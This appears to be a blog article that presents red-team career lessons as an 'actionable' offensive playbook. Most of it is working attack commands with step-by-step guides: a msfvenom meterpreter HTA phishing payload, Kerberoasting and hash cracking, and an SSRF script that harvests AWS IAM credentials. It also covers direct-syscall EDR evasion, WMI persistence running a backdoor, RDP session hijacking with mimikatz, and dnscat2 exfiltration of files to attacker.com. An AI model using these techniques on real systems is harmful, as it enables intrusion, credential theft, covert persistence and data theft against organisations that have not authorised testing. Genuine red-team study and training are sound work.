Introduction:

Justin Tiplitsky’s decade-long journey in offensive security offers invaluable lessons for aspiring red teamers. His curated GitHub posts dissect critical career phases—initial entry, skill escalation, and operational impact—providing tactical blueprints for real-world adversarial simulation. We’ve distilled technical gold from his work into actionable offensive techniques.

Learning Objectives:

  • Execute privilege escalation chains across hybrid environments
  • Deploy advanced persistence mechanisms evading EDR
  • Weaponize cloud misconfigurations for lateral movement
  • Craft custom malware bypassing modern defenses
  • Automate attack workflows using MITRE ATT&CK frameworks

You Should Know:

1. Initial Compromise via Weaponized Documents

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.45 LPORT=443 -f hta-psh -o payload.hta

Step-by-step guide:

1. Generate malicious HTA payload with Metasploit

2. Host file on compromised WebDAV server

  1. Send phishing email with “View Document” link pointing to `\\attacker@SSL\webdav\payload.hta`

4. Upon execution, establishes HTTPS beacon to C2

  1. Use `migrate -N explorer.exe` to evade process-based detection

2. Kerberoasting for Privilege Escalation

GetUserSPNs.py -request -dc-ip 10.10.1.1 'domain/user:Password123!' -outputfile hashes.txt
hashcat -m 13100 hashes.txt rockyou.txt --force

Step-by-step guide:

  1. Query DC for service accounts with SPNs using Impacket

2. Extract TGS tickets encrypted with weak passwords

  1. Crack offline with Hashcat using `-m 13100` (Kerberos 5 TGS-REP)

4. Identify reused admin credentials across assets

5. Leverage `secretsdump.py` for DA credential extraction

3. Cloud Instance Takeover via SSRF

import requests
target = "http://vulnerable-app.com/api/fetch?url="
internal_metadata = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
response = requests.get(target + internal_metadata)
print(response.text)  Exposes IAM keys

Step-by-step guide:

1. Identify Server-Side Request Forgery vulnerability

2. Probe AWS metadata service for role credentials

3. Harvest temporary security tokens

  1. Configure AWS CLI: `aws configure set aws_access_key_id `
    5. Execute `aws s3 ls` to confirm data access

4. EDR Evasion with Direct Syscalls

; NASM snippet for NtAllocateVirtualMemory syscall
mov r10, rcx
mov eax, 0x18 ; SSN for NtAllocateVirtualMemory
syscall
ret

Step-by-step guide:

  1. Map syscall numbers from ntdll.dll (dumpbin /exports C:\Windows\System32\ntdll.dll)

2. Write assembly stub preserving arguments

3. Compile with NASM: `nasm -f win64 syscall.asm`

  1. Integrate into C2 payloads via `VirtualAlloc` + `memcpy`

5. Bypass userland hooks by invoking kernel directly

5. Persistence via WMI Event Subscription

wmic /NAMESPACE:"\root\subscription" PATH __EventFilter CREATE Name="BotFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT  FROM __InstanceModificationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Malware\backdoor.exe"
wmic /NAMESPACE:"\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer\""

Step-by-step guide:

1. Create event filter triggering every 10 seconds

2. Configure consumer executing malicious payload

3. Bind filter to consumer

4. Verify with `Get-WMIObject -Namespace root\subscription -Class __EventFilter`

  1. Survives reboots and requires `-Force` with `Remove-WmiObject` for eradication

6. Lateral Movement with RDP Hijacking

query user /server:DC01
tscon 1 /dest:rdp-tcp0 /server:DC01

Step-by-step guide:

1. Identify active sessions: `query user`

2. Steal disconnected session ID (state “Disc”)

3. Reattach session without authentication

  1. Requires SYSTEM privileges (use `psexec -s cmd` first)

5. Combine with `mimikatz.exe “privilege::debug” “ts::sessions”` for enhancement

7. Data Exfiltration via DNS Tunneling

dnscat2-server --secret=MyEncryptionKey --max-length=255
dnscat2 --dns server=attacker.com,port=53 --secret=MyEncryptionKey

Step-by-step guide:

1. Launch C2 server with pre-shared key

2. On compromised host, execute beaconing client

  1. Tunnel traffic: `cat secret.docx | dnscat2 –dns domain=attacker.com`

4. Exfiltrate through allowed DNS port (53/UDP)

5. Detect with entropy analysis of DNS queries

What Undercode Say:

  • Operational Tempo > Tool Obsession: Red teams win through attack sequencing, not isolated exploits. Tiplitsky’s “Maximum Compromise” framework prioritizes TTP choreography over shiny tools.
  • Business-Aligned Impact Metrics: Measure success by verified breach scenarios affecting revenue/customers, not vuln counts. As cloud assets dominate, compromise paths must map to business-critical workflows.

Analysis: Tiplitsky’s evolution from technical executor to strategic advisor mirrors red teaming’s maturation. Early posts focus on exploit mechanics, while later work emphasizes boardroom communication of cyber risk. The true lesson? Technical prowess alone can’t shift enterprise risk posture. Modern red teams must engineer compromises demonstrating tangible business disruption—whether via stolen IP, ransomware-induced downtime, or cloud data poisoning. This requires deep understanding of both Active Directory forests and executive pain points. As defenses improve, the red team’s value shifts from “can we hack in?” to “what happens when competent adversaries do?”

Prediction:

Within 5 years, AI-powered autonomous red teams will continuously stress-test environments using adaptive TTPs. Machine learning will generate hyper-realistic phishing campaigns, while reinforcement learning optimizes attack paths in real-time. However, human creativity remains irreplaceable for novel vulnerability discovery and social engineering. The future red teamer will orchestrate AI agents while focusing on adversarial innovation—probing emergent attack surfaces in quantum systems, bio-integrated devices, and decentralized infrastructures. Offensive security will evolve from periodic exercises to persistent cyber wargaming, with red teams defending their attack infrastructure against blue team counteroffensives.
